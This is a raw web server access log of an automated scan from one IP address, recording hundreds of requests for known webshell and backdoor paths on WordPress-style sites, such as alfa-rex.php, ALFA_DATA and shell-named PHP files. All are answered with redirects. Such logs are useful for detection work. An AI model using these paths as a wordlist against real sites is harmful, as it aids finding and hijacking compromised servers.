"-" 137.135.82.76 - - [13/Apr/2025:05:50:44 -0400] "GET /alfa-rex.php8 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:45 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:45 -0400] "GET /wp-includes/PHPMailer/upfile_(2).php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:45 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:46 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:46 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:46 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:47 -0400] "GET /wp-admin/uploads/init HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:47 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:47 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:47 -0400] "GET /audit.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:48 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:48 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:48 -0400] "GET /wp-includes_old/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:49 -0400] "GET /upload/info/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:49 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:49 -0400] "GET /uploads/files/merchants/NadeemHajouj/20190321194634/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:49 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:50 -0400] "GET /wp-content/plugins/ygdfcil/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:50 -0400] "GET /wp-includes/certificates/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:50 -0400] "GET /certificates/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:51 -0400] "GET /wp-includes/widgets/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:51 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:51 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:52 -0400] "GET /wp-content/plugins/zgtzwun/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:52 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:52 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:52 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:53 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:53 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:54 -0400] "GET /wp-content/plugins/smelzou/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:54 -0400] "GET /mail_logs.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:54 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:55 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:55 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:55 -0400] "GET /GOD.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:56 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:56 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:56 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:57 -0400] "GET /.well-known/index HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:57 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:57 -0400] "GET /wp-content/plugins/fgcpghg/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:57 -0400] "GET /wp-content/plugins/uiaqgqm/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:58 -0400] "GET /wp-content/plugins/ljqhmhj/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:58 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:58 -0400] "GET /wp-content/x/eew.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:58 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:59 -0400] "GET /css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:59 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:59 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:59 -0400] "GET /wp-includes/languages/wp/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:00 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:00 -0400] "GET /wp-content/plugins/wpforms-lite/src/Migrations/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:01 -0400] "GET /504.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:01 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:01 -0400] "GET /wp-includes/block-patterns/admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:02 -0400] "GET /wp-content/plugins/fancybox-for-wordpress/fancybox/termark/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:02 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:02 -0400] "GET /about.php525 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:03 -0400] "GET /docs/cc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:04 -0400] "GET /upload/files/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:04 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:04 -0400] "GET /wp-includes/Requests/Exception/content.php.suspected HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:05 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:05 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:05 -0400] "GET /wp-content/plugins/init HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:06 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:06 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:07 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:07 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:07 -0400] "GET /amaxx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:08 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:08 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:08 -0400] "GET /acme-challenge/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:09 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:09 -0400] "GET /todo.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:09 -0400] "GET /wordpress/wordpress/wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:10 -0400] "GET /cache/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:10 -0400] "GET /wp-includes/IXR/core.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:11 -0400] "GET /.tmb/LA.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:11 -0400] "GET /compressor.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:11 -0400] "GET /js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:13 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:14 -0400] "GET /wp-crons.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:15 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:15 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:16 -0400] "GET /wp-includes/js/crop/crop.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:17 -0400] "GET /wp-content/plugins/erinyani/yani/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:17 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:18 -0400] "GET /wp-includes/aa.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:18 -0400] "GET /themes/zMousse/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:19 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:19 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:19 -0400] "GET /wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:20 -0400] "GET /components/5173e.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:21 -0400] "GET /wp-includes/Requests/Utility/sys.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:21 -0400] "GET /lv.php7 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:21 -0400] "GET /suu.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:22 -0400] "GET /php.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:22 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:23 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:23 -0400] "GET /wp-content/plugins/akbifoe/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:23 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:23 -0400] "GET /wp-content/themes/init HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:24 -0400] "GET /wp-admin/plugins/index HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:24 -0400] "GET /wp-content/themes/travel/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:25 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:25 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:26 -0400] "GET /welcome.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:26 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:26 -0400] "GET /wp-content/plugins/ioxi/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:27 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:27 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:28 -0400] "GET /wp-includes/customize/Dj1Gk/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:28 -0400] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:29 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:30 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:31 -0400] "GET /home/newsr.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:31 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:31 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:32 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:32 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:32 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:33 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:33 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:33 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:34 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:34 -0400] "GET /wp-content/plugins/oyaeyim/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:34 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:34 -0400] "GET /assets/atomlib.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:35 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:35 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:36 -0400] "GET /rating.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:36 -0400] "GET /wp-content/plugins/rneciwj/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:36 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:37 -0400] "GET /wp-admin/css/colors/coffee/themes.php.hacked HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:37 -0400] "GET /environment.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:37 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:38 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:38 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:39 -0400] "GET /report.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:39 -0400] "GET /moderator.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:39 -0400] "GET /wp-content/plugins/pxkxbea/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:40 -0400] "GET /wp-includes/Requests/library/don.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:40 -0400] "GET /wp-admin/css/colors/blue/blkcdojh.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:40 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:41 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:41 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:41 -0400] "GET /download_file.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:42 -0400] "GET /.well-known/pki-validation/a.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:42 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:42 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:44 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:44 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:45 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:45 -0400] "GET /wp-admin/home.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:46 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:46 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:47 -0400] "GET /register.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:47 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:48 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:48 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:49 -0400] "GET /assets/vendor/bootstrap/css/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:50 -0400] "GET /css_editor.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:50 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:51 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:51 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:52 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:52 -0400] "GET /.well-known/pki-validation/ckyocyyp.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:53 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:53 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:53 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:54 -0400] "GET /wp-content/plugins/zupqfup/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:54 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:55 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:56 -0400] "GET /r3x.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:56 -0400] "GET /wp-content/plugins/gvkyvhp/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:57 -0400] "GET /wp-includes/js/e3B6W/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:57 -0400] "GET /uploads/blog/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:57 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:58 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:58 -0400] "GET /js_editor.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:58 -0400] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:58 -0400] "GET /wp-includes/class-ftps.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:59 -0400] "GET /network.php999 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:59 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:51:59 -0400] "GET /wp-content/themes/config HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:00 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:00 -0400] "GET /schema.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:00 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:01 -0400] "GET /wp-includes/SimplePie/Exception-class.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:01 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:01 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:02 -0400] "GET /wp-content/uploads/init HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:02 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:03 -0400] "GET /checkout.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:03 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:03 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:04 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:04 -0400] "GET /wp-admin/maint/src_api.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:05 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:05 -0400] "GET /wp-content/themes/setup HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:05 -0400] "GET /wordpress/wp-content/plugins/erfd/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:06 -0400] "GET /.well-known/pki-validation/mar.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:06 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:06 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:07 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:07 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:07 -0400] "GET /wp-content/uploads/2016/03/wp-admin-block.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:08 -0400] "GET /de/internet.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:08 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:08 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:09 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:09 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:09 -0400] "GET /blog/blog.php7 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:09 -0400] "GET /wp-content/themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:10 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:10 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:11 -0400] "GET /wp-content/plugins/lwgvais/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:11 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:12 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:13 -0400] "GET /wp-includes/random_compat/bala.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:13 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:13 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:52:14 -0400] "GET /template.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - 